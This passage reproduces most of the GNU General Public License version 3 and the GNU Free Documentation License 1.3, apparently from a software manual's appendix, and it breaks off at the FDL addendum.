The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work.

A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language.

The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it.

The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work.

The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source.

The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions.

All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law.

You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you.

Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law.

No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures.

When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies.

You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program.

You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions.

You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions:

* a) The work must carry prominent notices stating that you modified it, and giving a relevant date. * b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". * c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. * d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so.

A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms.

You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways:

* a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. * b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. * c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. * d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. * e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d.

A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work.

A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product.

"Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made.

If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM).

The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network.

Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms.

"Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions.

When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission.

Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms:

* a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or * b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or * c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or * d) Limiting the use for publicity purposes of names of licensors or authors of the material; or * e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or * f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors.

All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying.

If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms.

Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination.

You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).

However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.

Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.

Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies.

You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients.

Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License.

An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.

You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents.

A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version".

A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License.

Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.

In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party.

If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid.

If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it.

A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007.

Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom.

If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both

those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License.

Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License.

The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation.

If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program.

Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty.

THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability.

IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16.

If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee.

END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.

<one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author>

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode:

<program> Copyright (C) <year> <name of author> This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'. This is free software, and you are welcome to redistribute it under certain conditions; type 'show c' for details.

The hypothetical commands 'show w' and 'show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box".

You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>.

The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>.

76.2 GNU Free Documentation License

Version 1.3, 3 November 2008

Copyright © 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. 0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference. 1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

The "publisher" means any person or entity that distributes copies of the Document to the public.

A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.

The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License. 2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies. 3. COPYING IN QUANTITY

If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document. 4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

* A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission. * B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement. * C. State on the Title page the name of the publisher of the Modified Version, as the publisher. * D. Preserve all the copyright notices of the Document. * E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices. * F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below. * G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. * H. Include an unaltered copy of this License. * I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence. * J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission. * K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein. * L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles. * M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version. * N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section. * O. Preserve any Warranty Disclaimers.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties—for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version. 5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements". 6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document. 7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate. 8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.

If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title. 9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.

However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.

Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.

Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it. 10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document. 11. RELICENSING

"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.

"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.

"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.

An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.

The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing. ADDENDUM: How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

